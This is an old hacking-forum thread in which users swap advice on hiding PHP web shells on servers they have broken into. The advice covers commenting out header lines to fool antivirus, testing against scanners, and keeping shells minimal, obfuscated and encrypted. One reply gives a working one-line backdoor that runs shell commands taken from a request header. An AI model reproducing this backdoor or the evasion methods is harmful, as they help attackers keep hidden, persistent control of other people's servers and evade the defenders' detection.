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View previous topic :: View next topic Make c99 or r57 less detectable by antivir programs! Posted: Sun Jun 24, 2007 6:46 pm 7777777 Regular user Joined: Jun 24, 2007 Posts: 8 Hi! this is a fast tip: Edit the first lines of your php shell like comentaries and some antivir wont detect them! you can try www.virustotal.com to test. Regards. Posted: Mon Jun 25, 2007 5:48 am 7777777 Regular user Joined: Jun 24, 2007 Posts: 8 So... what shell dou you use then? r57?? Posted: Mon Jun 25, 2007 6:36 am pexli Valuable expert Joined: May 24, 2007 Posts: 665 Location: Bulgaria In most cases Code: <?php passthru(getenv("HTTP_ACCEPT_LANGUAGE"));?> Very easy to hide shell like this.r57 and c99 is too big to hide. Posted: Mon Jun 25, 2007 2:09 pm barr0w Regular user Joined: May 30, 2007 Posts: 13 I hear that c99 sucks a lot, but what is a better alternative? I have yet to find something better that has an interface in English. Posted: Mon Jun 25, 2007 5:16 pm pexli Valuable expert Joined: May 24, 2007 Posts: 665 Location: Bulgaria If one shell have interface she is too big to hide on server.Admin find him and look error.log and your hole will be locked. Posted: Mon Jun 25, 2007 5:23 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Yep, agree with koko. Best shell is, where server-side is minimalistic - only 1-2 lines of code, maybe even somehow obfuscated. And all the nice functionality, which makes this php shell to be userfriendly, is implemented on USER side! Even better - all communications can be encrypted, if serverside and userside scripts are using encryption. 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